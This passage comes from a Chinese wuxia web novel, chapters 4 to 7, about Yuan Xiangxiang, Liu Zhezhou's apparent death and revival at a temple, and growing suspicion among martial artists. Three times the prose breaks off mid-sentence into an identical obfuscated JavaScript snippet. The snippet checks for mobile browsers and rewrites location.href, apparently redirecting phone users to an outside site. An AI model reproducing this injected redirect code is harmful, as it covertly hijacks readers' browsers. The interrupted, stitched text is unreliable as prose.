这里是奉国寺的药庐,里面安置着不少伤患之人,故而众人也只敢小声嘀咕着,不敢高声喧哗。 药庐内烛火飘摇,药香伴着檀香,氤氲满室。 原湘湘在一旁看着眼前,紧紧闭着目,不言不语的柳折舟就好像清风一缕,他化在了满室檀烟之中,一转身,似乎身后什么声响都不在,只余钟磬环响。 柳折舟就那样躺在那里,一动不动,不知为何,那玉面长眉间隐隐透出几分渺渺悲悯,让原湘湘一时之间看不清他的脸来。 “如何了?”有人看澄明慢慢放回了柳折舟的手便心急问道。 澄明微微摇头,他先是看向了那位询问的人,而后又转头看向了原湘湘,半晌后才道:“已无鼻息和脉搏,原施……” “又是她!”还不待澄明说完,几个江湖中人便怒不可遏:“鬼观音鬼观音,武林不除此祸害,当真永无安宁!” “她已经杀了多少了?她到底有什么目的?什么人都不放过!就连寺里长老们都……” 有人捂住了那个人的嘴巴,让剩下的声音都淹没在众人的心底里。 澄明起身让开了位置,他隐没在烛影里让人看不见面庞,不动声色道:“还请原施主节哀。” 原湘湘怔怔站在原地,她看着柳折舟那张脸,恍惚间眼前掠过满目血色。 原湘湘听得见自己战栗的心跳声。 夜色漫漫,钟鼓长鸣。 她不信,她不信这些都是鬼观音做的。 4. 情窦初开少年人心暖似玉 拂晓时,天色晦暗始终不见明,后又渐渐飘起了雪。密密匝匝的,如柳絮,似芦花,若白蝶,纷纷扬扬。 澄明带了几位僧人来药庐为柳折舟收敛了遗容,因为柳折舟的死亡出人意料,众人都认为是鬼观音的毒手,因此奉国寺也加强了周围的护卫。 至于如何安置柳折舟的尸身,众人见原湘湘年纪不大,便有几个中年武人道:“送葬之事虽然从简,但也不能太马虎,否则太不吉利。这年轻人死在二月里,就下个月再葬吧。” “西边一心堂旁还有处闲置的耳房,可将……将柳施主的遗体暂且停放。”澄明看着原湘湘,似乎是在向她寻求意见。 原湘湘点头。 虽然柳折舟嘴巴一扯就说二人是师兄妹关系,但其实也不过才认识十数天,原湘湘对柳折舟也是知之甚少。 待众人将柳折舟遗体安放之事处置妥当后,这一日已过了晌午,可那天色才见得微微明亮,雪越下越大,风也逐渐猛烈,冷风里裹挟着冰粒扑砸而下,刮得人脸上火辣辣的刺痛。 柳折舟在屋里躺板板,原湘湘站在门外吹风淋雪,她摸摸自己的脸颊,是湿的,她知道那并不是泪。 方才有不少人在背后交头接耳,说她铁石心肠没良心白眼狼,连师兄死了都流不出一滴眼泪来,想必也是一对为了观音血和孤鸿剑而反目的同门,指不定现在心里乐开了花。 原湘湘不言不语,她心里也明白,她跟那些人一样,就是冲着鬼观音来的。可跟他们也不一样,那些人是为了观音血和孤鸿而来,原湘湘是冲着人来的,她要永永远远地留在她的身边。 观音血为何物?孤鸿又有何用?原湘湘一概没想过,也没兴趣。 大太监霍洋死后,鬼观音便是江湖中唯一知晓前朝长生秘术的人,她师从霍洋,而后杀了霍洋,一举扬名天下。 虽然柳折舟死了她于心不忍,可是她还有更重要的事情要做,遂准备去吃饭。 忽然听得背后有雪碎声传来,原湘湘眼前飘来一只持伞的手,头顶的风雪瞬间被隔绝在伞外。 原湘湘看见裴玉珠满身的落雪,便知他已在此处等了许久了。即便手中有伞,原湘湘没伞,他也一起陪着。 “湘……原姑娘。”裴玉珠被冻得满脸通红,此刻他那笑意盈盈的娃娃脸也沉寂了下来,他不知该说些什么,怕说错了,又怕什么都不说,“原姑娘,你可算出来了。” “嗯。”原湘湘接过伞问他,“ 把伞给了我,那你怎么办?” 此刻地上积雪足以盖过脚面,尽管时间不早,雪势可还没有减弱的迹象。 “我还有一把。”他变戏法似的从背后掏出一把伞撑开在头顶,说罢,冲着原湘湘傻傻一笑。 二人深一步浅一步的前行,裴玉珠持伞跟在后,落雪纷飞,四下无尘,此刻,他的眼里就只有这天地雪白里的一抹红。 风在呼呼作响,心在砰砰乱跳。 原湘湘本就是个沉默寡言的性子,她不说话,裴玉珠知道自己若是再不说,这一段路便要走完了。犹豫许久他还是决定上前安慰:“原姑娘。” 原湘湘回身时,两条自来卷的束花双辫跟着扭动的幅度在她的身侧微微晃动,裴玉珠看见那蓬松而柔软的发丝上落了不少雪屑。 “请姑娘节哀。”做了半天心里准备,他也只憋出这句话。 原湘湘点头,顺带又将他从头到脚扫视了一遍,末了,她突然问道:“你来这里做什么?” “啊……”裴玉珠又一次欲哭无泪,一时之间脑子里嗡嗡的,他朗声道:“……我,我,我……请原姑娘和我一决高下!” 他撑着的伞面上霎时滚落不少雪块,落地即四分五裂。 他说话的声音有多大,语气有多坚决,饶是原湘湘这般素来面无表情的人,也不禁微微变了脸色。 裴玉珠看见原湘湘面露诧异,又担心被她误解,便又连忙摆手解释:“原姑娘,原姑娘我……我不是那个意思,我意思是……” “你是害怕我伤心过度,想用切磋来转移我注意力?”原湘湘若有所思,看那神色,她对自己的推测也是笃信不疑。 裴玉珠尬笑几声应下了,不管怎样,他确实是来安慰人的。 原湘湘撑伞站定在雪地里,红衣落雪,发丝轻扬,珠花熠熠。她突然心里涌出几丝惭愧来,一个不过几面之缘的人都愿意来冒雪前来,雪地苦等,只为让她不再沉湎于悲伤,只因误以为她和柳折舟同门情深厚谊。 她道:“多谢裴少侠!雪停后我们在约,湘湘必定全力以赴。” 他的这份关心,原湘湘觉得自己也得拿出同等分量的尊重才能配得上。 “好。”裴玉珠无奈苦笑。 那场雪,直到傍晚时分才停住。 这几天裴玉珠一直待在饭堂门口等她过来,起先,原湘湘还以为他要开门就打,架起拳脚便要就地比划,惹得裴玉珠哈哈大笑。 他又哪是真的想要比划比划呢。 “原姑娘,你瞧见这几日寺里清净不少了吗?”裴玉珠端着碗,一边鬼鬼祟祟地环视周围,一边悄摸摸道,“走了不少江湖豪侠,真的没几个人了,估计都是不想命丧于此的吧。” “嗯。”原湘湘相当认同他的观点。 “听说,还要来几个高手。” “嗯?” 裴玉珠看她来了兴趣,便兴冲冲将自己知道的内情全部抖了出来:“有一人听闻是天浮岛的岛主,据说是个武痴,善用掌法。还有一些,就是武林中的那几个大门派也派了人来,不过,他们的目的到底是什么就不知道了。” 原湘湘沉默不语。 能是什么目的?都是要置鬼观音于死地的。原湘湘不自觉收紧了手里的筷子。 裴玉珠见她反常便又安慰道:“不过,原姑娘你放心,我不会抢东西的。我和师兄不求观音血,不求孤鸿,只求能手刃鬼观音以报血仇。” 他的声色陡然冷如寒霜。 原湘湘将碗筷一推,起身就走。 “原姑娘——”裴玉珠也赶忙起身跟上去,“你等我一下。” 他们一前一后走在青石板路间,两旁的红墙映雪,青松拂翠竹,落雪初融,墙体上干下潮,显出几分落寞来。 “原姑娘,我……你等我一下,别走那么快呀。”裴玉珠三步并作两步跑过来。 原湘湘见他这般,转身看着他,口中微张而后又转头。 裴玉珠见她似乎有难言之隐,不免担心道:“原姑娘,如果你有什么难处,你可以跟我说,只要我能做的,我都会答应你。” 裴玉珠今年十八,正是少年风华。若问他为何要跟着原湘湘,他可能自己都说不上来,就是纯粹的想和原湘湘一起说说话。 原湘湘站定,她咬住嘴唇,思索片刻后转身道:“裴少侠,你帮不了我,我们是两路人。” 裴玉珠怔了半晌,脑袋里又是嗡嗡乱响,他不知道自己又是哪里说错了,做错了,只好眼睁睁看着原湘湘头也不回地离开。 山间料峭,寒风掠过,树影斑斑作响,清冷寂寥。 “呆子!”一声清脆高昂的痛骂刺了裴玉珠一下。 他回头却见一个粉衣束带的少女正倚靠在红墙树影下。 那少女正恶狠狠地看着她——正是茶馆里持剑差点刺中原湘湘的峨眉山苏叶。 “她都说和你不是一路人了,你还缠着人家干嘛?” 裴玉珠不想说话。 “你别走!” 他正要抬脚,却发现自己衣领被人揪住动弹不了:“你到底要干什么?” 茶馆那日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685475|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,若不是柳折舟挡住那一剑,原湘湘定会被苏叶刺中;现在自己被人拒绝,也被她看了个干干净净。 裴玉珠心道:还真是冤魂不散。 “你就不好奇她一个人为什么要来这里?”苏叶提着他的衣领,昂头审视着裴玉珠,“她的师兄没用,而且也已经死了——她的武功你以为如何?你就真的不好奇他们为什么来这里?” “关你什么事?”裴玉珠扭过头去,看似不满,实际上他到现在都没反抗过苏叶半分。 “哼。”苏叶松了他的衣领,轻笑道,“可我认得她的那根鞭子。” 苏叶悄悄附耳过去一瞬,裴玉珠登时眉头紧皱,薄唇紧抿。 傍晚奉国寺中又赶来了一批江湖人士。原湘湘当时正晚练从外面回来,她从东边路过时刻意跟了一段路,仍旧是澄明师傅在前引路,为那几位或高或矮,手中拿着各式武器的人带过去。 她突然想起来柳折舟落在东厢房的行李包裹还没带出来。不多时,待澄明师傅从东边出来时,原湘湘正在门口,她向澄明说明了来意。 “原施主请放心,小僧这就带您过去。”他抬手做了一个“请”的示意,“虽然后面也有几位长老师兄为了调查鬼观音的踪迹进去过,但柳施主的一切物品我们都没有动过,原施主大可放心。” 原湘湘沉默点头,迈步在前,澄明很快跟上。 原湘湘这时才注意到澄明虽然年轻,貌似寺里诸多事宜都由他经手。她便问:“敢问澄明师傅,今天来的又是哪些人物?” 澄明本身又瘦又高,走路时,他的一只手始终背在身后,另一手悬在腰际,慢慢道:“许多都是应方丈大师请求而来,毕竟, 试剑大会近在眼前,寺内长老和弟子此前都有受伤,为了防止孤鸿被夺走,便有不少侠义之士不惜冒死前来。” 原湘湘薄唇紧抿,面上忧色愈发厚重。 澄明见她这般,便又笑道:“原姑娘请放心,此次就算倾尽奉国寺全寺之力,也会护得诸位安危,定不会让鬼观音再次得逞,无论如何也要让鬼观音付出代价。” 原湘湘沉默不语。 “只是,仍旧不知鬼观音到底使得何种手段害了柳施主的性命。”他冷冷道,“既没有外伤,也没有中毒,鬼观音杀他一个手无缚鸡之力的人,到底是为什么呢?” 突然听见澄明这番话,原湘湘心里的浓云顿时散去了不少。 “师傅也认为不是鬼观音杀的人?” “也?”澄明一愣,眼中一亮。 “没事。” 原湘湘赶忙走向前面。不多时,二人就到了柳折舟此前居住的客房。房间里柳折舟的衣衫,扇子,帘子烧剩的黑灰都还在原地。 不知为何,原湘湘觉得心底莫名酸痛起来,一抽一抽的。好像那个人还是跟之前一样,乖巧坐在床边等自己过来。 二人里里外外待了好一会儿,方才结束。澄明将屋外收纳整理好的遗物递过来时,原湘湘瞥见他左袖衣拢里露出一小截绷带。 许是瞧见了原湘湘的眼神,澄明略带生涩地解释道:“小僧前些时日在厨房帮忙,不小心被烫了伤。” 原湘湘轻轻点头。 待一切收拾妥当,她谢过澄明师傅,就拿着柳折舟那一点行李,准备离开。走到东厢大门附近时,恰巧又遇见一身着锦衣的中年男子和一个年轻道士行在一处,二人有说有笑,见到原湘湘后,锦衣男子便不再言语,二人快步避开。 原湘湘也自知没趣,她最后看了一眼那二人背影,便也离开了。 她知道,那些人,都是冲着杀死鬼观音来的。别人说鬼观音吃人血肉,可在原湘湘眼里,那些人更是人面兽心,他们都要喝鬼观音的血,吃鬼观音的肉。 唯独这件事,原湘湘绝对不允许发生。 5. 观音慈悲芙蓉重绽喜迎月 晚间又去饭堂吃饭时,裴玉珠依旧在原处等着她,不过,今天多了一个人——峨眉山苏叶也在。 原湘湘准备无视他们二人径直过去,不料,这二人依旧紧紧跟在后面。 “原姑娘,下午我……”裴玉珠站在她旁边似乎紧张的不得了,“下午我是……” “他是来找你道歉的。”苏叶突然打断了他的话。 原湘湘左手一盘斋菜,右手两个馒头,脑袋微微一偏。 “为什么要道歉?”她思前想后也没想出裴玉珠有什么得罪自己的地方。 裴玉珠面上颜色通红,他支支吾吾道:“是因为,下午说话时完全没有考虑你的感受……” 他说完就低下了头,苏叶在一旁不动声色。 “我们确实不是一路人。”原湘湘看着眼前二人,又想到午后才来的那批武林高手,还有现在所有在饭堂用餐的所有人…… 你们才是真正的恶鬼!她的心中突然涌出一股热气来,那股热气冲得她心里发慌,想憋着可是又憋不住,原湘湘索性端着饭一路小跑回西厢的卧房。 苏叶那下巴点了点裴玉珠,“不知去向,不知来处,手里拿着玄天教万花血藤鞭,怎叫人不怀疑?也就欺负欺负你们几乎都不知道这个西域门派了。” 裴玉珠面色深沉,他道:“你不要再说了,我们不知道,你又如何知道?” 苏叶气得跺脚:“我怎么知道要你管!若不信,待你见识到那鞭子的威力,你便是后悔也来不及了。” 裴玉珠丢下一句轻飘飘的“不信”便离开了,苏叶看他那副烂泥扶不上墙的样子,在原地蹦上跳下。 …… 甫一冲进屋里,她立刻就锁死了房门。 怎么办?到底该怎么办?外面的才是恶鬼,还是一群道貌岸然的恶鬼!他们都要吃她的肉,喝她的血! 她把嘴巴咬得铁紧,两根束花双辫拖在身后摇摇晃晃的,发辫上的珠花摇缀不止,迎着烛光,颗颗珍珠犹如凝泪。 她突然间又想到了来奉国寺之前在茶馆里和那群人起冲突时,那是因为什么? 因为那群人对鬼观音出言不逊。 她跳了出来,她质问那群人,可是没人将她放在眼里。 那群人以多欺少,若不是柳折舟替她拦住了长剑,她早就被苏叶捅了个对穿。 对,就是因为自己学艺不精,什么都只会一点点,所以才无人将她放在眼里。 她来这里就是为了找鬼观音拜师学艺的,因为只有这样——才能永永远远地留在她的身边。如若不然…… 唯有一死? 死? 她不会死的,她答应过她,从此以后要好好活着。 “柳折舟……”细小的呜咽从她的喉间溢出。 原湘湘突然站住了脚,她看着床头上放着的柳折舟的行李,还有那柄洒金白纸扇,扇坠迎光,暖玉如阳。 喉咙像是被石块堵住,喉头梗得抽痛,发不出一点声音。 原湘湘很怕死,她始终不理解,也不愿理解,为什么死去的人不愿意回来?他们不会后悔吗? 她开始想念柳折舟还在的日子了,虽然柳折舟除了脸一无是处,可是和他待在一起的日子,原湘湘发现自己却是前所未有的放松。即使相处的时间短暂,可是只要和柳折舟在一起,哪怕是被他气得要死,可自己却还是开心的,只要和他待在一处,便不会在想什么生,什么死,谁要活,谁会死的事情。 明明死亡非常可怕,人只要一死,就一切都不复存在了,柳折舟为什么不回来呢? 还是说那边的世界,如此美丽,如此让去者不忍离? 柳折舟的扇坠被她握在手心里,暖玉生光,她的手心里,微微传出阵阵暖意——扇坠是一朵栩栩如生的芙蓉花。 夜深人静之时,湘湘独自一人前去耳房。 近来因为鬼观音夜袭的事,奉国寺中守夜的僧人也格外的多,一路上庙中灯火幽微,暗影幢幢,风摇树影乱,湘湘踩着满地碎雪,发出急促的“咯吱咯吱”的声响,脚底碎冰飞散。 不多时,她已站到了偏僻的耳房门口,手里还带着柳折舟的行李和物品。想到柳折舟一向挑剔,若是死后没有生前所爱之物陪在身边,他在地底应该也会急得睡不着。 冷月高悬,门开的那一瞬间,月华如水,铺天盖地地涌进这间落败小屋,屋里四下灰蒙蒙的,唯有正中一地霜白。 屋中除却些许杂物,便是一张供桌,桌上放着个三尺见大的木制佛雕像,旁边还有一个落满灰尘的香炉,再往下,就是停放柳折舟尸体的一张小竹床。 掀开盖在尸体上的白布,他还是一如原湘湘初见那般,一身白衣胜雪,如深睡一般安然。 湘湘看着柳折舟,本想伸手拂开他的额发,她的手僵在半空,最后还是拿了扇子过去,想把扇子放进他的手中。 柳折舟的双手上还缠着厚厚的纱布,正是山上前他为原湘湘挡住苏叶的那一剑。 “你明明可以大声喊出来吓她一跳,哪里用得着亲手去接?”原湘湘轻轻抚上他的手,明知是冰凉如雪的手,却还是不死心地想要触碰他的指尖,企图能触碰到什么。 空手接白刃的笨蛋。湘湘这样想。 她拿出那柄洒金白纸扇准备压在柳折舟的掌下,可是在抬起柳折舟手臂的那一瞬间,原湘湘差点被吓得几乎魂飞魄散。 她登时往后退了半分。 屋外冷风戚戚,树影婆娑,万籁俱寂,唯有湘湘一人心如擂鼓。 “都死了几天了?他怎么还是软的?”湘湘的胸口剧烈起伏着,可她的眼神却分外明亮。 她重又靠近柳折舟的尸体,这时才发现他暴露在衣物外的尸体上都覆着一层薄薄的如同碎雪玉屑般的壳,映着月光,荧荧闪光。 原湘湘壮着胆子去碰他的脸,脸颊依旧柔软,那层玉壳一碰即碎,湘湘沾了一手的黏糊糊碎屑。出于好奇和不解,原湘湘索性上手扒了他脸上那层壳,可没料到,越扒越多,脸上,发上,脖颈里……直至蔓延进他的胸膛。 最后,原湘湘解开他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685476|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的领口,一直顺着那些碎屑形成的壳往下,直到在他的心口处看见一处经年久月的疤痕方才停手。 那疤痕颜色不深,面积也不大,但似乎形成之时伤口就非常深,原湘湘望着那刀疤,额角突然抽痛起来。 疤痕处的碎屑似乎格外之多,她忍不住伸手去拂,那些碎屑就散落到柳折舟周围都是,很快就看见碎屑里包裹着一块血色淤栓,湘湘想也没想便抬手将那栓块从伤疤里带了出来。 做完这一切时,她的心跳更甚,耳边充斥着剧烈的鼓动声,还有粗重的呼吸声。 月华西移,她凝望着满身银光的柳折舟,垂眸躺在自己面前,静静沉睡,眉慈目悯。 湘湘复又低头空空睁眼看着自己两只手,那两只手上也是泛着点点银光。 “今日若不是遇见姑娘,便就形枯骸朽,此处埋我。”有人甚是快活地在她耳边嗷嗷叫。 不知为何,她眼前的银光模糊起来,透过摇晃的指缝依稀见得那张分明而好看的脸,还是一如既往的柔和淡然。 湘湘突然一下子瘫倒在地上,床边的折扇一个不稳,也被她的动作带到地上。 她被玉掉在地上的声音刺醒,便慌忙捡起来,而后不自觉地摩挲着那块芙蓉花扇坠,喃喃道:“也是,人死哪能复生呢?” 到底在奢求什么? 可是,她仍旧不信柳折舟是被鬼观音杀死的。 “放心,我既然买了你下来,必会为你报仇。”湘湘对着柳折舟的尸体起誓,“钱也不必还了,你在下面好好睡个觉。” “若真有来世,你再来还我钱吧。” 她拉着柳折舟的手,将那折扇贴近他的掌心,而后,又慢慢一根根地按下他的手指,想让他握住那柄扇子。 食指,中指,无名指,最后是小指和拇指—— “啪嗒!”一声脆响,打破了小屋的宁静。 折扇又一次摔了下来。 可是,湘湘却瞪大了眼睛,坐在床边一动也不敢动。方才,她分明看到了柳折舟的手指微微动了。 大脑也几乎一片空白,湘湘忙俯身去探他的气息,虽然指尖依旧冰凉,可是,她能清晰地感受到柳折舟在反握自己的手。 那动作轻轻的,慢慢的,时断时续,就像是猫儿在摆尾一般。 她的心脏越跳越快,呼吸也愈发急促起来,下一刻,心脏仿佛都要冲出胸膛来! 冷月在天,清光满地,似水荡漾不止。 柳折舟一手握着原湘湘,眼前明亮而模糊,他第一眼便只见湘湘沐着月光坐在床前,就那样俯身望着他,长长的卷发缀在她的身侧,她素无表情的脸,此刻也不知是哭还是笑。 柳折舟只记得原湘湘的身后便是一扇大敞着的木门,竹柏横斜,云翳溃散。 四目相对时,他迅速起身,刚张开嘴想说什么,但轰鸣的心跳却让他忘了要说什么。 映着月光,眸色比月光更温柔。 “我以为你死了。” “下面太苦了,我便又回来找你啦。” 6. 死而复生佛前胡言乱语 身后供桌上的佛像此刻也被月光一分为二,佛目半睁半闭,佛像的神态悲悯间又透露着淡淡笑意,端坐于莲花之上,结与愿印。 原湘湘见柳折舟已无事,这时才想起他身上那些反常的地方:“你这些是什么东西?”她抬手向柳折舟展示那满手的碎屑。 柳折舟摸了摸自己的脸和鼻子:果真,还有残余。 原湘湘见他这般不言不语,便道:“我以为是你被水泡发了,还没来得及搓的灰。” “哇——!”柳折舟登时捂着心口,大吐起来。 这次湘湘早有准备,她眼疾手快举起盖尸布挡在身前。 柳折舟薄喘着,眼尾泛红,有气无力道:“真是不好意思啊,湘湘姑娘,这只要气急攻心就……犯病。” 当真是雨打秋花一朵,煞是可怜。 “你这病还有得治不?” “应该吧。”柳折舟面色平静地转过身整理衣衫,“此前也是奉国寺方丈为我治过伤。” 他说完时,还不忘刻意回头勾了原湘湘两眼。 原湘湘瘪瘪嘴,不置可否。 虽说二人相识不久,但如果细细留意柳折舟的所作所为,便能发现凭他这副身子骨无论是独身一人跋山涉水而来,还是爬那千级石梯,又或是在这个不早不晚不偏不倚的时候来奉国寺看病泡冷水澡,任何一件小事都会要了他的命。 简直就像是专门为了寻死而来的。 初遇时,他就满身死气,惨白惨白的脸,又总是将“死”字挂在嘴边。 想到这里,原湘湘突然不快起来:“我不懂其他的,但你的病或许我师父会有办法。他可不仅是个铁匠,我这点功夫跟他比起来,根本不值一提。” 在原湘湘看不见的黑暗里,有人眉眼弯如新月,唇角慢慢向上勾起。 她见柳折舟还在床上静静不动,以为他不信,便补充道:“或许跟奉国寺方丈没法比……就死马当活马医吧。” 柳折舟缓缓转过了脸来:问道:“那……我们何时动身?现在?” 此时柳折舟离她很近,白亮的月光洒下来,屋内恍若白日。 原湘湘清晰地看见柳折舟的露出的脖颈和脸侧上爬了几道裂纹,如同珍贵的瓷器在烧制过程中开裂而出的美丽纹路,从血肉里生发而出的裂纹,枝影横斜,长在白皙如玉的皮肤之上。 又想到他平日里那惨白无暇的脸,她突然想通了什么事情:“你,之前把脸涂得死白死白就是为了挡住那些纹吧。” 她伸出食指在自己的下颌处点了两下。 柳折舟长躯一颤,将脸扭得更深。 原湘湘看向柳折舟的眼神里顿时又多了几分可怜:“等我办完事,但你得答应我不能把这件事说出去。若是治不好也罢,若是治好了也只能说是奉国寺治好的你。” “为什么?不论结果如何,我都要重金酬谢,滴水之恩,当涌泉相报。”柳折舟义正词严道。 他下巴搁手上,好整以暇地看着原湘湘的背影,那长长的卷发就垂在她的身侧,发辫之上的珠花晶莹俏丽,熠熠耀眼。 你可别再涌泉了……原湘湘心道:师父估计都承受不住你。 “……师父他很不喜欢和外面接触,就连我这次也是偷跑出来的,带你回去估计也……” 说着说着她便没了声音,不知在盘算什么。 柳折舟又问:“那这样岂不是很让你为难?” 原湘湘转身道:“确实为难,不过,师父他老人家也不见得就给你看病。” 其实,说完她就有些后悔,那个铁匠师父向来避世,除了那个小山村的邻居们,他根本不与外界有一点接触。而她以前提到要不要出去时,她的师父都会立刻回避,用沉默来回答。 “为什么?”柳折舟轻笑。 “因为你是外人。” 他眉头一挑,似有不满,原湘湘只听他小声嘀咕,道:“那我就变成内人,变成内人,嗯。” 柳折舟双手松了又握,握了又松,俨然势在必得。 原湘湘:“……” 对着那张脸,又说出这番话,她直接面无表情起身出去了。 柳折舟“死而复生”的消息第二日便传遍了整个奉国寺,不少江湖人士都借着奉国寺方丈前来探望的机会在旁窥望。 玄空方丈虽然也被鬼观音重伤,但他也是极少数能从鬼观音手中活下来的。 至于柳折舟,众人虽不信他有什么能耐,但更想知道他究竟使了什么把戏,一个病弱之人竟然能从鬼观音手里活下来。 第二日,澄明携几位药庐弟子来此。 住在奉国寺的这几日,原湘湘已彻底感受到澄明此人的能力绝不一般。寺里现在属于群龙无首的状态,他一个二十出头的弟子将寺里寺外打理得井井有条。 澄明道:“柳施主目前平安无事,小僧也已检查过那日柳折舟所用的器具和饭食,并无中毒的迹象。” “小僧也曾听闻过,会有一些病症能让人进入假死状态,柳施主身体羸弱,想必会是某种罕见病症所致……” 在场众说纷纭,一片哗然。 可是,柳折舟依旧一口咬定自己昏迷前看到了纯白若雪的衣裙从窗前飘过。若不是原湘湘救治及时,恐怕早就下了黄泉。 原湘湘在旁看着他,面色寂静。 澄明和药庐里的僧人们离开后,其他围观的江湖人也陆陆续续离开了。裴玉珠和他的师兄李源知一直站在门外,直到全部人散后,裴玉珠才恋恋不舍地离开。 日子一天天过去,柳折舟也一天天的,总说自己沐浴得了风寒,身边也无旁侍,日子很是难过。 原湘湘见他那副上气不接下气的样子,无奈举手投降:欠债的都是大爷。 这几日她一直负责煎药,绕过几处红漆回廊,不多时就已到了柳折舟的房门口,她二话不说径直入了房,经过之前的那一夜,她已然练就了坐化神通的心态,风雨不动安如山。 柳折舟跟她的老师父比起来,还差得远呢。 许是听到了声响,柳折舟缓缓撑起身子,靠坐在床上,似是极为痛苦,哑声道:“麻烦湘湘姑娘了。” “确实挺麻烦的。” 柳折舟猝不及防地尴尬起来,只好掩面干咳。 “喝。” 柳折舟轻笑,双手接过碗,一鼓作气如牛饮水一般,狂饮数口,忽而停住,笑道:“好生奇妙,自打湘湘姑娘送药以来,这药汁我就没觉得苦过。” “……”原湘湘青灰色的眼瞳看似淡漠,她却已慢慢背过身去,“少贫嘴。” “实话实说,真没有骗姑娘的意思。”柳折舟一片眉眼俱澄澈,“以前的药真的很苦,莫不是湘湘姑娘有什么妙计可以让良药不再苦口?” “没有。”她突然行至桌边坐下,弓着背,双手撑在大腿上,背对着柳折舟,卷曲的长发飘飘然散落开来,珠花迎光,柔和缱绻。 “你要快点好。”屋子里静静落下一句话。 窗外的风声霎时大了起来,柳折舟觉得自己的耳朵里涌入许多声音:风声,雨声,心跳声,说话声……不计其数。 他愣愣地看着原湘湘的背影,轻声嗫嚅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685477|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“……好。” 心神被搅得稀碎,鬼使神差地点了头,但心里却是甜甜的暖暖的。 柳折舟眉头轻抬。 屋室内除他二人外,并无其他活物,然此刻四周寂静,仿佛能听到心脏由震惊到平缓的声音。 “虽然不知道为什么,但你别总折腾自己去找死了,大冬天的还泡冷水。”原湘湘努着唇,似是不悦,“除了生死,没有大事。” “嗯。” 春还未到,花已含笑。 柳折舟乖乖服药,一日余后便已能生机勃勃的满院子闲逛了,原湘湘也不再去他那儿了。 今日终于能出来,他准备去拜访一下奉国寺方丈,径直朝着奉国寺东北方向而去,瞧那架势对这里轻车熟路得很,不多时就已到了一座独立成院的禅房外。 此处便是署境阁。 眼见院门大开,其中青竹许许,新芽始发。 他又四处看看,似乎是在找什么,他才刚提步行出不到数十步,便被一只灰色僧袍的手挡住了面前去路。 “施主来此处作何?” 柳折舟定睛细看,才忆起面前这个小僧他是知道的——方丈的亲传弟子,也是那天背着自己过来的师傅。 “原来是澄明师傅,听闻贵寺方丈大师身体不适,在下特来探望。”他道,“劳烦师傅为我通报一声。” “原来是柳公子,不知公子进来身体可好?。”澄明询问道,“如果还有不适,小僧可为柳施主寻些奇方。” “……澄明师傅,我只想拜见方丈大师。” 柳折舟伸手默默鼻梁,心道:完全没在听我说话啊。 “这……方丈师父身体不适需要静养,施主还是回去吧。”澄明面露为难之色,伸手将柳折舟一步步拦出大门外。 “……哎,我……还没说完呐……”柳折舟在门外大喊。 不给柳折舟继续说话的机会,澄明径直关了大门,将柳折舟连和他未完的话一同拒之门外。 被强行关在院门外的柳折舟十分不解,手里的扇子不住地扇来扇去,可那几分烦闷不解却怎么也不见消失。末了,直到门内几声轻微沉闷的咳嗽声传到他的耳底时,只见他无奈摇头轻叹,便又摇着扇子离开了。 “这几日怎么谁都见不到……” 又一日后,大雄宝殿,凌水池前。 灰白色的冰凉石板上盘腿坐着一个白衣飘飘的年轻人,他垂目静坐,神色雅然,俨然不觉周围寒冷逼人。 澄明刚路过便一眼认出了柳折舟,不久前这人还在方丈大师的署境阁外溜达,被自己撵了出去。 这才多久,他又来到凌水池旁打坐。 看着长相倒是干净俊秀,行为处事怎就像个狗皮膏药似的,走到哪儿黏到那儿。 澄明微不可察地呼出一口冷气,快步上前道:“柳施主大病初愈,此地阴寒逼人,恐怕于施主病体不适,施主还是尽快起来吧。” 柳折舟抬眼看看他,不说话。 澄明眉头轻拧,也不说话。 不多时,澄明便听见柳折舟似乎自言自语道:“你见水中有什么?镜花还是水月?你什么也看不见,你们不让我见玄空大师,也不要管我作何。” 凌水池寺中一方活水之潭,水面不大,但山间清野,树草回廊确是一一不少,更添佛门缘性雅致。 凌水池上引后山飞瀑,因而水质清澈,萍草浮生,水中又养了些鱼,皆是被放生所得,夏季更是莲香四溢。 澄明听他这番胡言乱语,额头突突直跳。 “柳施主保重。” 7. 竹下人栖神仙眠 自从柳折舟能生机勃勃地满院子闲逛后,原湘湘也不再去他那儿。 这时,原湘湘便会一人溜到后山竹林的亭子里练武。 山间寒风萧瑟,冷风挟着竹枝上的霜花四处飞舞。 一山一人一丛翠,风声飒飒,冰霜摇落,寒凉不止。 往后山方向看去,高耸的斗拱木塔悬在后山林海间,塔身笔直典雅,即使离得远,原湘湘也依稀能见得上面的雕栏画栋,金铃清响。 